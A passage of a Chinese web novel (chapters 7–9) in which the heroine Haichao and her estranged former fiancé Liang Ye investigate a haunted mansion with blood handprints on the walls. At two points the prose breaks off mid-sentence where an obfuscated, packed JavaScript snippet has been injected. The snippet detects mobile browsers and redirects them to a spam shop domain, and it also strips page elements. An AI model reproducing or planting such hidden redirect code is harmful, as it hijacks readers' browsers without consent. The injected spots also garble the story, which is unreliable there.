他似乎还想说点什么,可终究什么也没说,只是垂下眼帘:“我走了,早些睡。” 说罢他站起身,拖着伤腿,缓缓走出去,掩上门。 海潮隔着门扇听见他压抑的咳嗽声,这才想起从昨夜开始,他嗓子便有些哑,大约是淋了雨着凉了。 梁夜母亲生他时没足月,他小时候身子骨弱,还有喘症,一直到十来岁,长得还没她高。 她记得阿娘死后不久,村子里闹水匪,她怕得睡不着觉。 梁夜便抱着她阿娘留下的采珠刀,一整夜守在她床边。 第二天清晨她听见压抑的咳嗽声醒过来,朦朦胧胧看见他弓着身,脸涨得通红,几乎喘不上气,却还捂着嘴怕吵醒她。 大约就是从那天起,她懵懵懂懂下定了决心,这辈子都要对他好。 现在这咳喘声就像来自昨日的阴魂,搅得她不得安宁。 关你什么事,望海潮,他用得着你心疼?贱不贱啊!她在心里骂了自己一句。 咳嗽声渐远,直至完全听不见,海潮长出了一口气。 7. 噬人宅(三) 是夜,海潮躺在床上,久久难以成眠,耳边挥之不去是梁夜的轻咳声。 外头起风了,庭中的槐树蔌蔌作响,风从窗棂的缝隙中吹进来,绕着梁木,仿佛呜咽。 陆琬璎在旁边的床铺上辗转反侧,显然也还醒着。 “陆姊姊睡不着么?”海潮问。 陆琬璎歉然道:“是不是吵到海潮了?” “没有没有,”海潮忙道,“我本来就认床,陆姊姊呢?” 陆琬璎有些欲言又止:“不知怎的,有些心神不宁。总觉会出什么事……” “是不是听了那管事的话吓着了?” 陆琬璎讷讷:“我太胆小了……” “这种事谁听了不都怕呢,别说你一个官家小娘子,连我心里也毛毛的呢!”海潮道,“陆姊姊若是不嫌弃,咱们睡一张床吧。” 陆琬璎踌躇:“当真可以么?” “当然。”海潮说着便坐起身,点了油灯,然后抱着被子走到陆琬璎床边。 陆琬璎让了半张床出来,两人并排躺着。 温暖的灯光照亮了屋子一隅,陆琬璎的呼吸平稳了些。 “海潮……”她欲言又止。 海潮道:“陆姊姊是不是奇怪我怎么会认识梁夜?” 陆琬璎忙道:“非是要打探海潮私隐,只是我看梁公子腿伤得不轻,布囊里有伤药,想着你们是旧识……” 海潮明白过来,陆琬璎这样的闺秀讲究多,听说有些世家大族的小娘子,和外男多讲一句话都要吃挂落,她有些同情陆琬璎。 不过让她去给梁夜送药,她可没那么好心。 “放心吧,他福大命大,”海潮道,“顶多瘸条腿,反正死不了。” 也不知道等他瘸了腿,那京城里的大官千金还喜不喜欢他,她幸灾乐祸地想。 见陆琬璎不吭声,她补上一句:“陆姊姊要是不忍心,明日我把药给程翰麟。” 陆琬璎松了一口气,从枕边包袱里摸出一个小瓷瓶递给海潮:“那就劳烦海潮了。” 海潮只得接过来,塞进衣襟里。 抬起头,便看见陆琬璎正看着她,到底年纪不大,眼里的好奇藏也藏不住。 海潮叫她看得有些不自在,转念一想,她又没做错什么,有什么好遮掩的,便坦荡道:“不怕陆姊姊笑话,我和他定过亲呢。” 陆琬璎瞪大了眼睛。 “也不是正经说亲,我们是邻居。他阿娘一个人带着他,我耶娘时不时帮衬一下,我和他差不多大,小时候常玩在一起,他们大人便说笑似地定下了亲事,其实做不得准的。” 陆琬璎有些不知所措。 海潮“咯咯”笑起来:“陆姊姊也觉得我俩不相配吧?” 陆琬璎连忙摇头:“不……” “他看起来像个大户人家的公子吧?” 陆琬璎越发窘迫。 “没事。他是落难的凤凰,本来就和我们不一样,”海潮将一半脸埋进被褥里,“他阿娘是坐大船来的,遇上风浪船在海上翻了,刚巧我阿耶打渔回来,把她救了起来,那时候她已经有好几个月肚子了,听说是遇上兵灾,逃难逃到我们那儿的。 “陆姊姊是没见过他阿娘,我说出来你可能不信,那真是天上有地上无,模样标致就不说了,我阿娘说她上岸时,全村的人都来看,都以为是海里的神女现世了呢。 “好看还是其次,她身上那股……啊呀我也说不上来,总之就是和别人不一样,村里人都说,她去宫里当娘娘都使得。” 陆琬璎点点头:“观梁公子其人,可以想见梁夫人的风姿。” 海潮撇了撇嘴:“他和他阿娘其实并不很像,大约长得像他阿耶吧。对了,他阿娘还有学问,读过很多书,会写诗,连说话都文文绉绉的。” “梁公子能高中进士魁首,原来是家学渊源。”陆琬璎道。 “他阿娘其实从不教他读书识字,只教村里别的孩子。” “这是为何?” “不好说……”海潮含混道,“他阿娘……反正后来他得了贵人相助,去了京城,考上了进士,又和宰相的千金看对了眼,今后是要当大官的,更和我没瓜葛了。” 这话听着有些酸,她找补了一句:“我不是酸他,我巴不得他富贵发达,我可不是那么小气的人。” 陆琬璎沉吟道:“实在看不出来,梁公子竟是这种人。” 海潮“嗯”了一声:“人模狗样的看不出来吧?反正我阿耶救他阿娘,我阿娘帮衬他们母子,本也不指望他们回报什么。” “令尊令堂高义,所以能养育出海潮这样的女儿。”陆琬璎道。 “陆姊姊夸得我不好意思了,”海潮笑了笑,随即垂下嘴角,“我阿耶阿娘是好人,可惜好人不长命。” 见陆琬璎不知所措,她忙道:“陆姊姊别替我难过,我们这种珠民,十个有七八个死在海里,侥幸活下来的也难见白头,早就习惯了。” 她不说还好,一说,陆琬璎眼中立刻涌出泪来。 海潮本来没什么,也叫她弄得有些鼻酸,吸了吸鼻子:“不说这些了陆姊姊,都过去了,我不是还好好的么?咱们睡吧。” 陆琬璎点点头,小心翼翼地伸出手,隔着被子拍了拍海潮,轻声道:“海潮若是不嫌弃,就把我当姊姊吧。” “这是什么话,”海潮道,“我还怕陆姊姊嫌我是个粗人呢。陆姊姊家中有不少兄弟姊妹吧?” 陆琬璎声音低了下去:“…家慈故去后不久家严便续了弦,几个弟妹皆是继母所出,我镇日缠绵病榻,也不好同弟妹们亲近……所以我素日也是一个人……” 她说得隐晦,但海潮明白,她同情地点点头:“在后娘喉咙下取气,这日子一定不好过。” 陆琬璎迟疑了一下,咬着唇点点头。 两人一时沉默下来,都有了些困意。 海潮打了个呵欠,眼皮渐渐发沉,迷迷糊糊沉入了梦乡。 不知睡了多久,忽然窗外传来一声女子凄厉的尖叫,划破了宁谧寂静的夜。 海潮一骨碌从床上爬起来,睡眼惺忪地抓起榻边的武器,恍惚不知自己身在何处。 桃木剑异于采珠刀的手感让她清醒过来。 这时陆琬璎也醒了,懵懂地揉着眼睛:“方才那是什么声音?” 海潮这才知道不是自己做梦:“陆姊姊也听见了?好像有人惨叫。” 陆琬璎紧紧揪着被角,月光映出她惊惧的脸庞。 “别怕,”海潮安慰她道,“左近也没有别的院子,像是苏家正房传出来的。” 他们所住的客馆和正院隔着一片小竹林,那声尖叫传到这里,不算很响,可海潮却觉得那叫声像尖刀一样,仿佛能刺破耳膜。 正思忖着,东厢房传出了动静。 显然梁夜他们也听见了。 这觉是睡不成了。 “先出去看看。”海潮说着起床披上道袍,利索地绾好了道髻。 陆琬璎却让她有些犯难,带上她怕吓着她,把她一个人留下又不安全。 正犹豫,陆琬璎也坐起了身:“我也一起去。” “陆姊姊不害怕么?” 陆琬璎深吸了一口气:“既来之则安之,总不能一直躲着,拖你们的后腿。” “也好,”海潮道,“陆姊姊会医术,有人受伤还得仰仗你。” 两人迅速收拾停当,推门出去,梁夜和程瀚麟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627085|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚好走出来。 海潮一见他,想起陆琬璎托她给的药,目光不由自主落在梁夜的伤腿上,不知是不是错觉,他走路的姿势似乎比先前自然了一些,脸上也有了些许血色,不像刚见面时那样惨白了。 好得这么快,用不着药了吧,海潮心里嘀咕着。 ”海潮妹妹和陆娘子也听见了吧?”程瀚麟连连打着呵欠。 海潮看他俊脸浮肿,昏黄的廊灯下也看得出一对青黑眼圈,纳闷道:“你没睡么?” 程瀚麟揉着眼睛:“子明和我画了半夜的符,刚合眼,又梦见被只头上长笔的妖怪捉住,那妖怪逼我在一炷香内以“鼓楼子”为题,作出一首二十韵七言排律,限的还是“咸”韵!(1)你们说说,这世上怎么有如此不讲道理的妖怪……” 海潮忙打断他:“回头再讲你梦里的妖怪,真妖怪还等着咱们呢。” 程瀚麟打了个哆嗦:“那……那再好不过了,在下迫不及待想见识见识。倒是海潮妹妹,你一个小娘子,不怕这些么?” 海潮拍拍腰间桃木剑:“伸头一刀,缩头也是一刀,怕有什么用。” 程瀚麟:“海潮妹妹真是胆识过人。” 梁夜眉头微微一动,瞟了他一眼:”走吧。” 程瀚麟连忙巴巴地跟了上去。 经过西厢,海潮往窗户里一望,只见里头依然黑灯瞎火,悄无声息。 程瀚麟指了指紧闭的门扇: “要不要叫上那位高人?多一个人多一分力,这位道长很得主人家尊重,说不定有些真本事。” 他们一群假道士,对捉妖一窍不通,有个真道士助阵,壮壮胆气也好。 梁夜想了想,颔首:“好。” 程瀚麟便在门外道:“道长,在下失礼了。” 里面依旧毫无动静,也不见火烛亮起。 程瀚麟拍了拍门,仍然无人应答,他嘟囔道:“奇怪,按说这么大动静,睡得再沉也该醒了。” 海潮上前推了推门,发现门闩得严严实实,摇了摇头:“算了,说不定人家不想理呢,咱们还是靠自己吧。” 程瀚麟无奈道:“罢了……” 几人提着灯,穿过庭院,推开西边的小门,眼前是一片竹林,地上铺满落叶,一条小径像灰蛇般蜿蜒,没入竹林深处,小径的尽头便是苏家正院。 时近子夜,露水早下来了,润湿了落叶和泥土,脚踩在上面绵软又湿滑,就像踩在蛇身上。 长虫在海潮的家乡司空见惯,可她还是觉得有种黏糊糊冷冰冰的感觉盘踞在心头,有些不舒服。正想着,一个恍惚,脚下的路竟然动了一下。 一定是没睡饱,头重脚轻生出的错觉。正安慰自己,脚底下的地面又动了起来,这回清晰无误,绝对不是错觉,小径像真蛇一样蠕动起来,泥地本就湿滑,她脚底一滑,便是一个趔趄。 眼看着要跌一跤,却有一只手及时握住了她的手腕。海潮素日习武,借了把力,顺势抓住旁边一根竹子,稳住了身形。 她不自觉地道了声谢,旋即发现拉住她的那只手消瘦而冰凉,指节修长,指骨微微凸出宛如修竹,说不出的熟悉。 不用抬头也知道,那是梁夜的手。 “小心。”梁夜低低道。 海潮像是被烫了一下,立即甩开他的手。 一转头却刚好对上他的脸,夜色中看不清眼神,却能感觉到他在看她。 海潮别过头去,心中懊恼不已。 平时上山入海,在湿滑嶙峋的石滩上走得像飞一样,怎么在平地上也能跌跤,倒像是故意要和人拉扯不清似的…… 就在这时,她忽然想起方才的异样,心头一凛:“你们刚刚有没有感觉到,这条路在动?” 8. 噬人宅(四) 众人都说不曾感觉到异常。 梁夜问:“怎么动的?” 海潮伸手比划,尺蠖般一伸一缩:“像这样。” 程瀚麟迟疑道:“呃……海潮妹妹是不是刚睡醒,还有些迷糊?” 海潮瞪他:“你才迷糊!我说真的,踩起来还软绵绵滑腻腻的,像蛇一样。” 程瀚麟咽了口唾沫,干笑两声:“海潮妹妹这么说,叫人心里毛毛的……” 海潮不想理他,问陆琬璎:“陆姊姊也没感觉到么?” 陆琬璎一脸愧疚,仿佛自己做了天大的错事似的,咬着嘴唇轻轻摇摇头:“我……我也没觉察有什么异样……但我一向迟钝的……” 海潮鼓了鼓腮帮子:“连陆姊姊也没觉察到,说不定是我弄错了。” 梁夜道:“未必是错觉。此地古怪,小心为上。” 海潮一边害怕那小径真闹幺蛾子,一边又盼着它动上一动,证明她没说假话。 可小径到底没再动一下,穿过竹林,正院的灯火出现在眼前。 与竹径相通的门紧闭着,海潮正要去扣门环,只听“咔哒”一声,门锁开了,一个提灯的青衣小僮推门出来,却是先前替他们引路之人,李管事的干儿子李吉。 李吉认出他们:“仙师们可是听见动静了?” 他一边说,把几人扫了一眼,诧异道:“西厢里那位洞玄观的道长呢,怎么没和几位一起来?” 海潮道:“我们敲门,没人应,不知是睡得熟还是不在屋里。” 李吉一听有些着急:“怎么会不在,奴去瞧瞧。” 海潮:“你去也没用,我们拍了好半晌门了,你再去也是白跑一趟。我们也是道士,难道四个还抵不上一个?” 李吉有些迟疑,目光转了一圈,最后落在梁夜身上,终于点点头:“那就劳动仙师大驾。” 饶是海潮不甘心,也不得不承认,在他们四人中间,就属梁夜看起来最沉稳可靠,最有高人风范。 “出了何事?”梁夜问。 李吉将他们让进院内,支吾道:“娘子房里出了些怪事……一时半会儿也说不清,仙师们去看了就知道……” 苏家正院比预料的更气派,规模宏大远超寻常商贾,陈砖旧瓦,古朴雅致,甚至有些钟鸣鼎食之家的气象,可一踏进院子,海潮便觉后背生出股寒意,这院子里似乎比外头还冷,连灯火都不见暖意,透着青白。 院子里仆役不多,只零星几个,有的在点灯,有的守在各屋门口,个个小心翼翼,一声不吭,见他们走来,只远远地瞟上两眼。 程瀚麟摸着下巴,自言自语道:“九间七架,这房子大大逾制了吧?” 李吉连忙解释:“郎君也怕招摇,买下后想拆掉两间,可是没拆成……” 海潮纳闷:“为什么没拆成?” 李吉:“这……奴也才来没几个月,只是听别人这么混说,当不得真。” 海潮知道他是不想说,哼了一声,没再追问下去。 说话间已经走到了庭前,夜风拂来,将一股异香送到他们鼻端。 这香气淡雅又幽远,按说好闻得很,但海潮莫名有些不舒服,心里也毛毛的,这气味潮乎乎的,像是上好的木料混合潮湿泥土,爬满了苍苔,还有滑腻腻的蛇从缝隙间游过,有什么东西在里面悄悄腐烂…… 海潮想起她有一回上山拾柴误入一座不知几百年前的无名石墓,里面就是这股气味。 程瀚麟摸了摸柱子:“连廊柱都是文柏,这宅子不一般啊!” 李吉与有荣焉:“可不是,里头的柱子更粗,听说是几百年的沉香木,连墙上的灰泥都带着香。听说是前朝一个什么王孙还是大官造的别业,空置上百年也没朽没塌。” 走近正房,异香越发浓郁,其中又多了一股铁锈般的血腥气。 李吉提灯的手抖了起来,灯笼微弱的光线晃晃悠悠,投下一地斑驳凌乱的影子。 他哆嗦着手,正要打帘,帘子忽然掀开了,一人走了出来,却是李管事。 他扫了他们一眼,皱起眉头,看向干儿子,诘问道:“洞玄观的道长呢?” 李吉觑了觑梁夜:“那道长躲在房中不吭气,怎么拍门都不应,奴又没钥匙……多亏几位仙师仗义,一听正院里出了事,二话不说就来了……” 李管事不耐烦地打断他:“行了,回头再说,你往前院去,看看郎君来了没有。” 说罢向梁夜道:“幸好几位仙师料事如神,前来坐镇,不然遇上这种事,真不知该如何是好。” 梁夜问:“出什么事了?” 李管事道:“仙师也听见夫人那声惊呼了罢?” 那哪是惊呼,海潮想起半夜三更那声利刀般的惨叫,仍旧心有余悸。 李管事接着道:“老奴也是睡梦中听见动静,起初以为夫人又发噩梦,但总觉这次不同往日,心中不安,便过来看看……一进屋就见房中乱七八糟,夫人倒在卧榻上不省人事,吓得老奴差点没背过气去!老奴赶紧叫婢女将夫人抬到西厢,又遣人去请郎君……” “大半夜的,你家郎君怎么不在房里?”海潮纳闷。 李管事:“前日铺子和田庄的账目陆续送到,阿郎这几日都在前院书斋中理帐……” 话音甫落,不远处传来李吉的声音:“郎君来了!” 海潮循声望去,只见一个身着穿衣的年轻男子快步穿过庭院向他们走来,一个青衣小僮在前面提灯。 即使看不清面容,从那颀长的身量,挺拔的身姿,翩然飞舞的袍袖,也能看出男子风度翩翩,卓荦不群。 苏家只有一个郎君,便是这偌大宅院的主人。 待他三步并作两步走到近处,海潮借着廊檐下灯光一看,只见来人出奇年轻,光洁无须的面庞上不见一丝皱纹,一双漂亮的桃花眼中丝毫不见世故精明,反而有种少年般的天真质朴,周身也没有商贾的伧俗,倒像是个年方冠龄,初入浊世的书生。 李管事赶紧迎上前去:“阿郎……” 男子打断他,声音里满是焦急,却依旧温润悦耳:“阿青如何了?” “阿郎莫急,娘子现在西厢,没什么大碍,只是受了惊吓晕厥过去了,两个婢女在照看着……”李管事道。 “秦娘子在么?” “秦娘子不在院中,老奴已着人去找了。” 男子蹙眉:“大半夜的,她会去哪里?多叫几人去找。” “要不老奴着人去医馆请个大夫?” “阿青的身子一向是秦娘子调理,外头那些庸医哪里知道轻重。何况城中宵禁,坊门天亮才开。” 海潮好心道:“我师姊会医术,不如让她先给你家夫人看看。” 男子这才看向海潮,微露困惑,仿佛直到此时方才发现他们一行人的存在。 李管事适时道:“阿郎,这几位便是老奴说过的,从京都青云观来的高人……” 男子露出恍然大悟之色,恭敬施礼:“福生无量天尊。在下苏廷远,仙客光降,有失远迎,还请见谅。” 他看向海潮,亲切道:“多谢几位好意,只是拙荆病中多思多虑,畏见生人,只肯让寒舍医女近身诊治,实在抱歉。” 梁夜道了声“无妨”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627086|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆琬璎怯生生道:“这里有清心丸,庶几有些用处……若是那位秦娘子不能及时赶到……” 她说着,鼓起勇气将握在掌心的青瓷小瓶递过去。 男子看向陆琬璎,桃花眼中流淌出温和蕴藉的笑意:“那在下便替拙荆谢谢这位仙师。” 一边说一边大方接过她手中小瓶,从袖中取出一方素帕,挑开瓶口封蜡,倒出一枚指甲盖大小的丹丸在帕子上,将瓷瓶还给陆琬璎,再次道了声谢,然后转向赵管事:“我先去厢房看看阿青,你好生招呼几位贵客,将今夜之事如实禀明,切勿怠慢。” 说罢向几人一礼,道了声“失陪”,向厢房走去。 苏廷远离去后,李管事道:“老奴先带几位仙师进屋看看。” 他一边说着,一边打起檐下斑竹门帘、挑起门帷,门帷掀开的瞬间,浓重血腥气直冲面门。 房中点着灯烛,却显得格外幽暗,梁上悬垂的帷幔被夜风掀动着,烛火摇曳,幽影重重,站在门口往里望去,犹如潜伏着凶兽的幽深洞窟。 李管事似乎也有些畏惧,踟蹰片刻才踏了进去。 屋里铺着席簟,但李管事没有脱鞋的意思,几人便也穿着鞋踩了进去。 海潮只觉踩在席簟上,鞋底微微发黏,好不难受。 身在其中,血腥气越发浓得化不开。 海潮借着灯烛跳动的光焰游目四顾,发现屋子里凌乱狼藉,仿佛有狂风刮过。 几案、铜灯、香炉和什物七倒八歪,床前一架屏风倒在地上,上面蒙着的丝帛扯得七零八落,残帛散落一地,露出内里竹编的网架。 这屋子之所以格外幽暗,是因为四壁不似一般人家抹白灰或者白土粉,而是在白地上点缀深色花纹。 花纹也没什么章法,疏密不均,像是胡乱印上去的,透着股不祥的气息。 海潮觉着古怪,不由仔细端详,这一看不打紧,不由“呀”一声惊呼,后背上顿时冷气直冒。 这哪是什么花纹,分明是密密麻麻,重重叠叠的血手印! 不止是墙上,地上也遍布着血手印,就像是有个血做的人,用双手爬遍了整个屋子。 在成年人大小的手印之间,还夹杂着一些小小的足印,只有两三寸长,像是四五岁的幼童。 海潮头皮发麻,连忙将陆琬璎拉到身后,几乎是同时,一道颀长单薄的身影挡在她面前。 是梁夜。 他一向是这样,哪怕不会舞刀弄剑,身子骨还弱,但遇上什么事,总是挡在她前面。 “吓到了罢?”他转头看她,低声问道。 从前海潮心里总是喜滋滋、暖融融的,可时过境迁,这举动只显得多余又可笑。 海潮不想承他的情:“没什么好怕的。” 梁夜看了她一眼,道了一声“小心”,没再说什么,转头吩咐赵管事将所有灯烛都点上。 海潮握住陆琬璎的手,担心道:“陆姊姊,你是不是不舒服?去外头等我们罢。” 陆琬璎手心冰凉,不住颤抖,但还是咬咬牙道:“无碍的,海潮别担心。” 就在这时,身后忽然传来程瀚麟的惊叫,声音尖细,变了声调,仿佛被人掐住了脖子。 海潮赶紧转过身,只见程瀚麟瞪着双眼,直勾勾地望着屋顶,浑身剧烈颤抖,齿关格格作响,仿佛见到了无比可怕的东西。 海潮循着他的目光往上看,房顶上照不到光,黑黢黢一片,什么也看不见。 “你看见什么了?”她纳闷道。 话音甫落,只见程瀚麟忽然两眼翻白,“砰”地一声倒在了地上。 9. 噬人宅(五) 程瀚麟躺在地上一动不动。 海潮忙跑过去,想探他鼻息,梁夜抢先一步道:“我来。” 他伸手探了探:“还有呼吸,应无大碍。” 又问陆琬璎:“金针可在身上?” 陆琬璎点点头,忙打开药囊,取出金针,小心翼翼地刺程瀚麟的百会、上星和神庭三穴。 片刻后,程瀚麟悠悠地醒转过来,但仍旧颤抖不已。 海潮道:“你看见什么了?” 程瀚麟两眼发直,嘴唇翕动着,却连句囫囵话都说不出来。 海潮着急地看向陆琬璎:“陆姊姊,他没事吧?” 陆琬璎切了切他的脉:“大约是受了惊,一时气机错乱,心神摇荡。” 海潮不由犯嘀咕,这些血印子虽然可怖,可也不是真的鬼怪,至于看一眼就厥过去么? 她想起程瀚麟晕倒前的反常,又抬起头往顶上看了一眼,顶上仍是黑黢黢的一片,看不出什么端倪。 李管事不敢上前,伸长了脖子,惊惧地看着失魂落魄的程瀚麟:“这位仙师……没事吧?” 程瀚麟直到此时方才恢复些神智,艰难地抬起胳膊,摆摆手,挣扎着伸长脖子,巴巴地看着门口。 梁夜道:“师兄体质异于常人,易与周遭气息相感,先时连夜书符气海耗竭,又兼此地邪气盛烈,故有此征。离开这屋子歇息片刻即可。” 程瀚麟噙着泪点点头。 李管事:“老奴叫人扶仙师去东轩歇息。” 海潮担心陆琬璎受不了这屋子里的气味,便趁机道:“陆姊姊你医术好,再去给他扎几针定定魂吧。” 陆琬璎感激地望了望她,跟着程瀚麟去了厢房。 待人走后,李管事向梁夜道:“这作怪的东西十分厉害,连洞玄观主持亲自写的符都镇不住,不知仙师可有什么章程?” 梁夜微挑下颌,淡淡地睨他一眼:“洞玄观,不意外。” 李管事道:“仙师莫要见怪,奴只是请仙师示下,好去主人跟前交代一声。” 梁夜:“尊主人若信不过我青云观,不如另请高明。” 海潮差点也被他这副目下无尘的样子骗了去,一个恍惚真以为他是什么世外高人。 李管事连连告罪,好话赔了一箩筐,梁夜方才缓颊:“你去门外守着,我和……” 他看了眼海潮:“我和师妹要在此布阵。” 李管事巴不得离开这鬼气森森的屋子,行个礼,脚底抹油似地跑了。 房中只剩下两人。 梁夜从几案上端起烛台,一边慢慢绕着房间走,一边用烛火照着细细查看,每一寸都不放过,时不时停下来,对着个血印子端详半晌,不时陷入沉思。 海潮抱着桃木剑在一旁看着,只见满墙满地深深浅浅的血印子,凌乱异常,也不知道他能从里面看出什么门道。 若是换了从前,她一定会像条尾巴似地跟在梁夜身后问东问西,梁夜便会耐心细致、条理分明地向她解释,直到她听懂了,恍然大悟,直懊恼自己怎么会对那么明显的东西视而不见。 眼下她自不会去问他。 谁稀罕,海潮想着,心里却像猫抓一样刺痒。 奈何梁夜是个闷葫芦性子,小时候坐在屋门前结渔网,可以从日出结到日落,一声也不吭。 他仿佛看不出海潮抓心挠肝,全没有向她解释的意思。 查看完四壁和地衣,他绕过屏风,走到床榻前,转头道:“海潮,可否帮个忙?” 海潮正要说不帮,想起昨夜答应过他的事,只得走了过去。 床榻周围也遍布着血印,不过要比外头稀落一些。 海潮硬梆梆地道:“什么事?” “可否帮我举一下烛台?” 海潮伸手接过,心里有气,手便重了些,没想到蜡烛刚巧插得不牢,歪倒下来,融化的烛蜡眼看着就要落到她虎口。 海潮一瞬间便知躲不开,便不躲了,心说皮糙肉厚的大不了烫一下,可预想中滚烫的蜡油却没有落到她手上。 梁夜突然伸出手,替她挡了一下。 蜡烛打在他手背上,接着弹落到地上熄灭了。 火焰灼了他手背,大片蜡油泼洒在他白皙的手背上。 梁夜随了母亲,从小比别人细皮嫩肉,也格外容易留疤。 可他挨了烫也没抽回手,冰凉的手心虚虚地覆在她手背上:“小心。” 海潮只觉心尖被揪了一把,挥开他的手:“不用你好心。” 梁夜收回手,垂下眼帘:“是我疏忽,差点伤了你。” 他一边说一边捡起蜡烛,从油灯上取了火,重新插回烛台上,然后才不以为意地揭去手背上凝结的烛蜡。 海潮瞟了一眼,只见他手背上红红肿肿的一片,也不知道会不会烫出水疱来。 她忍了忍,没忍住:“去凉水里浸一浸吧。” “不疼,别担心。”梁夜道。 海潮立刻横眉道:“谁担心,狗才担心你!” 烂了最好,怎么没烫脸上呢,破了相,看人还要不要你。 “那就好。” “对,好得很。” 梁夜不再说话,俯身仔细翻看床榻上的衾枕和褥子。 海潮举着烛台在一旁替他照着。烛火的光晕小小的,只能照亮方寸之地,海潮只得不情不愿地靠近他。 分别时梁夜只比她高两寸许,这三年她也高了些,但梁夜长得更快,已经比她高出一个头,虽然比从前更瘦,骨架却长开了,肩膀平直,也宽阔了些,有了大人模样。 昏暗的屋子里静谧无声,梁夜一低头,轻浅呼吸便从她的耳畔拂过。他身上有股说不上来的气味,很清,又带着一丝苦,好像在一个深秋雾蒙蒙的清晨,走进一片长满青色果实的山林。 海潮有些不自在,脖子发僵,耳朵也痒,便抬手揉了揉。 “怎么了?”梁夜回过头,用问询的眼神望着她。 “没事,”海潮道,“你忙你的,不用管我。” 梁夜便继续低头摆弄床上的被褥,海潮渐渐看出些门道来。 床榻周围的血印稀落些,也更有规律可循。锦衾上赫然是整整齐齐的小儿脚印,从床边一直延伸到枕边,好像有个浑身是血的孩童从榻边爬到床上,一直爬到睡梦中的女主人跟前。 饶是海潮胆大,心里也有些毛毛的,大人鬼她倒不怎么怕,遇上大不了拔剑斗上一斗,可小孩鬼没有道理可讲,更难以捉摸,也就更可怕。 “好了没有?”她搓了搓胳膊,问道。 梁夜侧过脸,撩起眼皮:“害怕么?” “狗才害怕!”海潮立刻道,“这种小鬼,我一刀能砍一串!” 梁夜“嗯”了一声,便又一声不吭地埋头细看。 检查完床榻,又打开妆奁、箱笼、柜子,彻彻底底查看了一遍。 就在海潮快要失去耐心的时候,他终于直起腰,自言自语似地道:“原来如此。” 海潮不由竖起耳朵,等着听下文。 谁知道没有下文,梁夜只说了这么一句没头没尾的话,便接过她手上的烛台:“出去吧。” 海潮气得腮帮子都鼓了起来,可到底拉不下脸来问,只好跟着走了出去。 李管事立即迎上来,向梁夜道:“仙师可有什么发现?” 一到外人面前,梁夜又是一副冷淡倨傲的高人作派,他只是略一颔首,指着倒在床边,扯得绢帛七零八落的屏风道:“这屏风原是靠墙放的?” 李管事:“原是是靠北墙放的,在坐榻背后。仙师如何得知……” 梁夜道:“把屏风上的绢帛依原样拼好,搬回原位,其余物品也是。” 李管事不明就里,不过还是叫了两个小僮来。 海潮抱着胳膊纳闷地看着,不知道梁夜葫芦里卖的什么药,又憋着不肯问。 那两个小僮手脚还算利索,只不到一炷香的功夫,屏风便拼好了,其余坐榻、几案、柜橱等物,也一一归位。 梁夜轻轻拉了拉海潮,让她正对门里:“你再看看。” 海潮往里一望,“呀”地惊呼了一声。 只见屏风和柜橱归位后,对面墙上原先深浅不一、凌乱无章的血印组成了一张巨大的脸。 摇曳的灯影中,鬼脸仿佛活了过来,空洞洞的眼睛凝视着门口,大张的巨口似要将人吞噬。 梁夜举着灯走到原先倾倒的柜橱遮挡的地方,油灯光晕照亮了地衣。 上面赫然是血印组成的四个大字:“血债血偿。” …… 在场余人也都看见了墙上那张鬼脸,都吓得说不出话来。 李管事面如金纸,瞪着眼睛,半张着嘴,仿佛叫那鬼脸摄去了魂魄。 半晌他才掖了掖脑门上油汗,颤声道:“仙师……求仙师开坛作法,将这厉鬼收了……” 梁夜掀了掀眼皮:“李管事如何知道那是厉鬼?” 李管事一愣,随即道:“老奴一见这满屋子的血手印血脚印,理所当然以为是厉鬼作祟,便脱口而出了……听仙师的意思,是别的东西?” 梁夜讳莫如深:“或许是,或许不是。若真是厉鬼作祟,这鬼从何而来,李管事可有猜测?” 李管事立刻道:“老奴一个半截身子入土的凡夫俗子,哪里敢瞎猜,猜错事小,误了仙师的大事,出了什么岔子,岂不是大罪过!” 梁夜不置一词,只是淡淡地看着他。 李管事脑门上渐渐又冒出汗来:“郎君娘子待下人仁厚,便是下人犯了错,也不打不罚,连句重话都不说,如何做得出那等伤天害理之事?” 梁夜道:“它要找的,未必是你家主人。如贵府这等百年古宅,说不定从前有什么故事,也或许荒置这些年,有过路的孤魂野鬼鸠占鹊巢,也未可知。” 李管事脸颊松弛下来,连皱纹都舒展开:“对,对,老奴就说,主人宅心仁厚、好善乐施,即便有鬼找来,也是报恩的才对。是老奴想窄了。” “不然,”梁夜道,“人若无愧于心,无愧于天地,身上自有一股浩然正气,有神明庇佑,魑魅魍魉不敢近身。所谓‘吉凶由人,妖不妄作’,鬼物不会无端出现,必是有所感应才会前来作祟。“ 他顿了顿,目光变得锐利起来:“多半是这府上有人,行了不义之事。你心中可有人选?” 李管事勉强挤出个笑容,脸颊却不由自主地颤动起来:“府里人一多,难免就疏忽,这些下人又是到了芜城以后采买的……老奴与那人牙子交待得分明,笨点不妨事,只要那老实本分的,可毕竟人心隔肚皮,保不齐就有一两个面上忠厚,肚里藏奸的……” 海潮觉得这李管事就挺像肚里藏奸的,只是面上也不忠厚,舌头上像是抹了油,讲出来的话也是滑不溜秋的,一句话打三个转,句句似是而非,到底也不知道他想说什么。 梁夜只是听着他东拉西扯,待他说完,也不说信与不信,只道:“我有几句话要问你家夫人,去有劳通禀一声。” 